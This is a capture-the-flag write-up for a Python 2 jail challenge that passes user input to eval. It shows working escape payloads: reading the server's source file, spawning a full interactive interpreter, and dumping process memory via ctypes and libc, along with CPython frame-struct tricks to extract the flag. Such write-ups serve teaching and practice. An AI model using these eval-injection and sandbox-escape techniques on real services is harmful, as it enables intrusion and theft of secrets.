Fuckpyjails Writeup

Try this at home

Before reading the writeup you may want to attemp to solve the challenge youself. I wrote a replacement of the server in Python so you can still try to solve this challenge even if the original server is not live anymore.

Warning: if you want to solve the challenge do not cheat by reading the gist code! Just download both files and run python keyserver.py and then python fuckpyjails.py.

How the hanoiati team solved it

Trying to connect to the specified address you get something that looks like a Python prompt:

$ nc fuckpyjails.9447.plumbing 9447
>>> True
Fail!

If you insert a python expression it seems to just fail. But if we try to input some python statements this is what we get:

$ nc fuckpyjails.9447.plumbing 9447
>>> print('hello')
Traceback (most recent call last):
  File "/home/ctf/fuckpyjails.py", line 18, in <module>
    if get_key() is eval(raw_input()):
  File "<string>", line 1, in <module>
    print('hello')
        ^
SyntaxError: invalid syntax

From this we gain a couple of interesting informations:

  • Our input is passed to eval
  • It seems that we have to get a key in order to make the if statement succeed and hopefully give us the flag
  • The source code of the jail is at /home/ctf/fuckpyjails.py

The print failed because in Python 2.x print is a statement and eval does not allow execution of arbitrary Python code, but only expressions. From this we can conclude that the jail is not running on Python3.

The most obvious thing to try of course doesn’t work:

$ nc fuckpyjails.9447.plumbing 9447
>>> get_key()
Fail!

Now this is strange! We should find a way to see the output of get_key to understand what is going on.

$ nc fuckpyjails.9447.plumbing 9447
>>> __import__('sys').stdout.write(get_key())
I already sent you the key, stupid!Fail!

Ok, the server says that we are stupid :S

Let’s see if can understand what is happening by looking at the source code of the jail:

$ nc fuckpyjails.9447.plumbing 9447
>>> __import__('sys').stdout.write((open('/home/ctf/fuckpyjails.py').read())
#!/usr/bin/env python
import sys
import socket
import resource

resource.setrlimit(resource.RLIMIT_NPROC, (0, 0))

def get_key():
  s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  s.connect("/tmp/keyserver")
  r = s.recv(64)
  s.close()
  return r

sys.stdout.write(">>> ")
sys.stdout.flush()

if get_key() is eval(raw_input()):
  print "Did you get the key?"
else:
  print "Fail!"
Fail!

Great we have the code!

The good news is that we finally understand why get_key was insulting us: it connects to a socket and returns the correct value only the first time.

The really bad news is that we don’t have to make just the if succeed, but we have to find the actual value of get_key the first time that it was executed!

We have to get that value from the Python stack. It doesn’t seem too hard to do since there are some pretty powerful modules like inspect and gc.

Before trying to solve the actual challenge though, the first thing I tried to do was getting a full interpreter, because being allowed to enter only one-line expressions gets frustrating pretty quickly.

After a few tries with the code module I ended up with this:

$ nc fuckpyjails.9447.plumbing 9447
>>> (lambda code, sys: ((setattr(code.InteractiveConsole, 'runcode', lambda self, cod: (code.InteractiveInterpreter.runcode(self, cod), sys.stdout.flush(), sys.stderr.flush())[0]), code.InteractiveConsole(globals()).interact())))(__import__('code'), __import__('sys'))
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
>>> print 'Yeah!'
Yeah!
>>>

I had to patch the runcode method to flush the output, otherwise I wouldn’t receive anything from the server until I disconnect.

The unobfuscated code is this:

(lambda code: (
    setattr(code.InteractiveConsole, 'runcode',
        lambda self, cod:
            (code.InteractiveInterpreter.runcode(self, cod),
             sys.stdout.flush(),
             sys.stderr.flush())[0]
    ),
    code.InteractiveConsole(globals()).interact()
))(__import__('code'))

Solving the challenge

Now that we can execute any Python code, we can start having some fun (at least we thought).

This is the things we tried that dind’t work:

  • Looking for the flag in the file system with os.listdir.
  • Spawning other processes with os.system.
  • Using the gc module to find a reference to the flag.
  • Using the inspect module to find the flag on the stack.

The main problem is that the flag is not assigned to any variable, this is why the last two methods dind’t work!

The only thing left to do was to access the raw memory of the Python process using libc (through ctypes) and look there.

Ok but where is the flag? We allocated an other string, got its memory address and started looking around. After a few tries here it is:

$ echo '(lambda c: (lambda libc: libc.write(1, c.c_char_p(id('ciao') - 5024),1024*1024*2))(c.cdll.LoadLibrary('libc.so.6')))(__import__('ctypes'))' |  nc fuckpyjails.9447.plumbing 9447 | strings | grep 9447
9447{seriously_eval_is_lame}

And here is the human readable version:

import ctypes
libc = ctypes.cdll.LoadLibrary('libc.so.6')

# You may want to try with different offset values if 5024 doesn't work
addr = ctypes.c_char_p(id('ciao') - 5024)

libc.write(1, addr, 1024 * 1024 * 2)

An other, more elaborate, solution

Here I present an other solution, inspired by this writeup that does not involve using libc, but requires that you know a little bit of how CPython works internally.

Instead of just dumping the process memory and searching for the flag, like our team did, you can directly get the solution if you know exactly where to look for.

Let’s get a full Python shell using the code I showed above, and try looking at the stack:

$ nc fuckpyjails.9447.plumbing 9447
>>> (lambda code, sys: ((setattr(code.InteractiveConsole, 'runcode', lambda self, cod: (code.InteractiveInterpreter.runcode(self, cod), sys.stdout.flush(), sys.stderr.flush())[0]), code.InteractiveConsole(globals()).interact())))(__import__('code'), __import__('sys'))
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
>>> import inspect
>>> import pprint
>>> pprint.pprint(inspect.stack(), width=200)
[(, '', 1, '', None, None),
 (, '/usr/lib/python2.7/code.py', 103, 'runcode', ['            exec code in self.locals\n'], 0),
 (, '', 1, '', None, None),
 (, '/usr/lib/python2.7/code.py', 87, 'runsource', ['        self.runcode(code)\n'], 0),
 (, '/usr/lib/python2.7/code.py', 265, 'push', ['        more = self.runsource(source, self.filename)\n'], 0),
 (, '/usr/lib/python2.7/code.py', 243, 'interact', ['                    more = self.push(line)\n'], 0),
 (, '', 1, '', None, None),
 (, '', 1, '', None, None),
 (, 'fuckpyjails.py', 18, '', ['if get_key() is eval(raw_input()):\n'], 0)]

The last one seems the one we are looking for. We can get the corresponding frame object and browse it’s attributes{% sidenote frame You can look at the documentation of the frame object to understand what those attributes are. %}:

>>> f = inspect.stack()[-1][0]
>>> dir(f)
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__',
'__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
'__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'f_back',
'f_builtins', 'f_code', 'f_exc_traceback', 'f_exc_type', 'f_exc_value',
'f_globals', 'f_lasti', 'f_lineno', 'f_locals', 'f_restricted', 'f_trace']

Unfortunately our flag is not there since it has not be assigned to a variable.

But it’s not over jet. We can look at the structure of the underlying C frame object (i.e. PyFrameObject). As a quick search on github reveals frameobject.h is the file that contains the definition:

typedef struct _frame {
    PyObject_VAR_HEAD
    struct _frame *f_back;  /* previous frame, or NULL */
    PyCodeObject *f_code;   /* code segment */
    PyObject *f_builtins;   /* builtin symbol table (PyDictObject) */
    PyObject *f_globals;    /* global symbol table (PyDictObject) */
    PyObject *f_locals;     /* local symbol table (any mapping) */
    PyObject **f_valuestack;    /* points after the last local */
    /* Next free slot in f_valuestack.  Frame creation sets to f_valuestack.
       Frame evaluation usually NULLs it, but a frame that yields sets it
       to the current stack top. */
    PyObject **f_stacktop;
    PyObject *f_trace;      /* Trace function */

    /* If an exception is raised in this frame, the next three are used to
     * record the exception info (if any) originally in the thread state.  See
     * comments before set_exc_info() -- it's not obvious.
     * Invariant:  if _type is NULL, then so are _value and _traceback.
     * Desired invariant:  all three are NULL, or all three are non-NULL.  That
     * one isn't currently true, but "should be".
     */
    PyObject *f_exc_type, *f_exc_value, *f_exc_traceback;

    PyThreadState *f_tstate;
    int f_lasti;        /* Last instruction if called */
    /* Call PyFrame_GetLineNumber() instead of reading this field
       directly.  As of 2.3 f_lineno is only valid when tracing is
       active (i.e. when f_trace is set).  At other times we use
       PyCode_Addr2Line to calculate the line from the current
       bytecode index. */
    int f_lineno;       /* Current line number */
    int f_iblock;       /* index in f_blockstack */
    PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* for try and loop blocks */
    PyObject *f_localsplus[1];  /* locals+stack, dynamically sized */
} PyFrameObject;

As we suspected some of the attributes of the PyFrameObject are not exposed in Python. We now have to solutions:

  1. Write a ctypes Structure to expose PyFrameObject in Python.
  2. Try to do some pointer arithmetic and hope to find the flag without causing a segfault.

Luckily someone else has already implemented PyFrameObject for us, and we could us it as follows:

>>> from ctypes import c_int, c_long, py_object, cast, Structure, POINTER
>>> ssize_t = c_long
>>>
>>> class PyFrameObject(Structure):
...     _fields_ = [("ob_refcnt", ssize_t),
...                 ("ob_type", py_object),
...                 ("ob_size", ssize_t),
...                 ("f_back", py_object),
...                 ("f_code", py_object),
...                 ("f_builtins", py_object),
...                 ("f_globals", py_object),
...                 ("f_locals", py_object),
...                 ("f_valuestack", POINTER(py_object)),
...                 ("f_stacktop", POINTER(py_object)),
...                 ("f_trace", py_object),
...                 ("f_exc_type", py_object),
...                 ("f_exc_value", py_object),
...                 ("f_exc_traceback", py_object),
...                 ("f_tstate", py_object),
...                 ("f_lasti", c_int),
...                 ("f_lineno", c_int),
...                 ("f_iblock", c_int)]
...
>>>
>>> def _frame_internals(frame):
...     return cast(id(frame), POINTER(PyFrameObject)).contents
...
>>> _frame_internals(f).f_valuestack.contents
py_object('9447{seriously_eval_is_lame}')

Or with a bit of guesses (and segfaults):

>>> import ctypes as c
>>>
>>> OP = c.POINTER(c.py_object)
>>> c.cast(id(f), OP)[47]
'9447{seriously_eval_is_lame}'

These solutions require a bit of guessing because the location in memory of the flag will not aways be the same on every platform/architecture.

The exact location may even change according to the value of some compile time flags, as specified in the documentation of PyObject_HEAD.

Thats all! Thanks for reading o/